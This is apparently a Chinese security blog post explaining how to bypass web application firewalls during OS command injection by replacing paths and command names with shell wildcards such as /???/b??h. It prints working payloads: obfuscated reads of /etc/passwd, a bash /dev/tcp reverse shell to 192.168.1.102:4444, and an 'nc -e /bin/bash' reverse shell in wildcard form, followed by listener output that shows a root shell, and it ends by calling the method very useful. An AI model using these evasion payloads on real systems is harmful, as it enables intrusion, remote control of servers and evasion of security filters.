WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

时间:2022-01-10 09:50:51

一、通配符简介:

一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。

举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:

1 └─[$]> sudo head -5 /???/r????v.c??f
2 #
3 # macOS Notice
4 #
5 # This file is not consulted for DNS hostname resolution, address
6 # resolution, or the DNS query routing mechanism used by most

同理,删除文件的时候,如果删除所有a开头的文件:

1 rm -f a*

以上大概简要说明了什么是通配符

二、支持通配符的shell

从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?

 1 └─[$]> sudo /???/c?t /???/r????v.?o?f
 2 #
 3 # macOS Notice
 4 #
 5 # This file is not consulted for DNS hostname resolution, address
 6 # resolution, or the DNS query routing mechanism used by most
 7 # processes on this system.
 8 #
 9 # To view the DNS configuration used by this system, use:
10 #   scutil --dns
11 #
12 # SEE ALSO
13 #   dns-sd(1), scutil(8)
14 #
15 # This file is automatically generated.
16 #

可以看出来,命令部分识别/???/c?t => /bin/cat

三、WAF规则集:

WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则

例如对于OS Command Injection的payload过滤:

rule1   -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``

rule2  -> 过滤命令关键字等等

rule3  -> 正则表达式匹配

四、绕WAF

1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[\w]{1,}/[\w]{1,} 对于rule3

2、举一个反弹shell的bash简单命令,这个对于rule2比较合适

//正常的反弹shell的命令
#bash -i >& /dev/tcp/192.168.1.102/4444 0>&1
#/???/b??h -i >& /dev/tcp/192.168.1.102/4444 0>&1
可以成功

WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

在测试一个使用nc直接反弹的例子:

1 #正常情况下:
2 nc -e /bin/bash 192.168.1.101 4444
3 nv -p 4444 -l -v

可以转换成:

1 /???/nc -e /???/b??h 192.168.1.101 4444
2 # 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数

结果

1 [********@***]# nc -p 4444 -l -v
2 Ncat: Version 6.40 ( http://nmap.org/ncat )
3 Ncat: Listening on :::4444
4 Ncat: Listening on 0.0.0.0:4444
5 Ncat: Connection from ******.
6 Ncat: Connection from ******:43568.
7 whoami
8 root

搞定了

综上,这个办法还是很有用的。